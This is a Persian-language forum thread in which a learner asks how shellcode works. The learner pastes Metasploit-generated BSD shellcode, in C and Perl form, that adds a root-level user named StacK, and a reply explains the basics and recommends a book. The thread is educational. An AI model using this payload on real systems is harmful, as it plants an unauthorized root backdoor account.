نمایش نتایج 1 تا 2 از 2

نام تاپیک: تحلیل shell code

  1. #1

    تحلیل shell code

    سلام به همه ی عزیزان

    میخواستم بدونم ماهیت شل کد چیه و چگونه رفتار میکنه...

    به این شل کد نگاه کنید ...این یک یوزر به نام StacK در یک سیستم bsd با دسترسی root

    ایجاد میکنه.

    /* bsd_ia32_exec -  CMD=adduser StacK -o -g 0 -u 0 Size=92 Encoder=PexFnstenvSub http://metasploit.com */
    unsigned char scode[] =
    "\x2b\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\ x81\x73\x13\x44"
    "\xe5\xc8\x9a\x83\xeb\xfc\xe2\xf4\x2e\xde\x90\x03\ x16\x83\xa0\xb7"
    "\x27\x6c\x2f\xc8\x2c\x8b\xe7\xe9\x2c\x8d\xe7\xb5\ x26\x8c\x41\x79"
    "\x16\x0d\xd3\x9a\x44\xe5\xa9\xfe\x20\x90\xbb\xff\ x36\xc5\x9b\xee"
    "\x25\x86\x83\xba\x69\x8a\xe8\xb7\x23\xc5\xf8\xba\ x69\x90\xe8\xaa"
    "\x44\xb2\x9b\x13\xa5\xb7\x99\xc9\x14\x28\x48\x9a" ;



    # bsd_ia32_exec - CMD=adduser StacK -o -g 0 -u 0 Size=92 Encoder=PexFnstenvSub http://metasploit.com
    my $shellcode =
    "\x2b\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\ x81\x73\x13\x44".
    "\xe5\xc8\x9a\x83\xeb\xfc\xe2\xf4\x2e\xde\x90\x03\ x16\x83\xa0\xb7".
    "\x27\x6c\x2f\xc8\x2c\x8b\xe7\xe9\x2c\x8d\xe7\xb5\ x26\x8c\x41\x79".
    "\x16\x0d\xd3\x9a\x44\xe5\xa9\xfe\x20\x90\xbb\xff\ x36\xc5\x9b\xee".
    "\x25\x86\x83\xba\x69\x8a\xe8\xb7\x23\xc5\xf8\xba\ x69\x90\xe8\xaa".
    "\x44\xb2\x9b\x13\xa5\xb7\x99\xc9\x14\x28\x48\x9a" ;

    همانطور که میبینید اینا یک سری کد hexa هستند و فکر میکنم معادل یک سری

    دستور معادل زبان ماشین هستند که باید مستقیما در پردازنده اجرا بشن, ایا همینطوره؟؟؟

    من این شل کد رو در متااسپلویت ساختم .....

    چرا بین هر کدام از دستورات back slash (\) قرار داره؟؟؟

    منظور چی بوده که هر خط رو بین یک double quotation (") قرار داده؟؟؟

    در کل اگر من بخوام اینجور شل کدهایی بنویسم در لینوکس ...به غیر از دانش اسمبلی

    و تسلط بر سیستم عامل چه چیز هایی رو باید یاد بگیرم؟؟؟

    اگر نکاتی رو هم به ذهنتون میرسه که به دردم بخوره , ممنون میشم مطرح کنید..

  2. #2

    نقل قول: تحلیل shell code

    میخواستم بدونم ماهیت شل کد چیه و چگونه رفتار میکنه...
    Shellcode كدي هستش كه معمولا توسط يه نقطه ضعف امنيتي به نحوي روي سيستم اجرا ميشه و يه هدف خيلي خاص و كوچك داره مثل ساختن كاربر يا ايجاد يه اتصال به يه سيستم راه دور

    همانطور که میبینید اینا یک سری کد hexa هستند و فکر میکنم معادل یک سری
    دستور معادل زبان ماشین هستند که باید مستقیما در پردازنده اجرا بشن, ایا همینطوره؟؟؟
    بله

    چرا بین هر کدام از دستورات back slash (\) قرار داره؟؟؟
    در زبان سي و پرل اونطوري كاراكترهاي هگز رو به يه متغير نسبت ميدن .

    منظور چی بوده که هر خط رو بین یک double quotation (") قرار داده؟؟؟
    براي ساختن رشته يا آرايه كه از چندين خط تشكيل ميشه اينكارو ميكنن . چيز مهمي نيست

    در کل اگر من بخوام اینجور شل کدهایی بنویسم در لینوکس ...به غیر از دانش اسمبلی
    و تسلط بر سیستم عامل چه چیز هایی رو باید یاد بگیرم؟؟؟
    ميشد يه سري توضيح بدم كه بعدش باز برات سوال ايجاد كنه . ولي بهتره كه كتاب Shellcoder's Handbook رو بخوني كه سوالي باقي نمونه

قوانین ایجاد تاپیک در تالار

  • شما نمی توانید تاپیک جدید ایجاد کنید
  • شما نمی توانید به تاپیک ها پاسخ دهید
  • شما نمی توانید ضمیمه ارسال کنید
  • شما نمی توانید پاسخ هایتان را ویرایش کنید
  •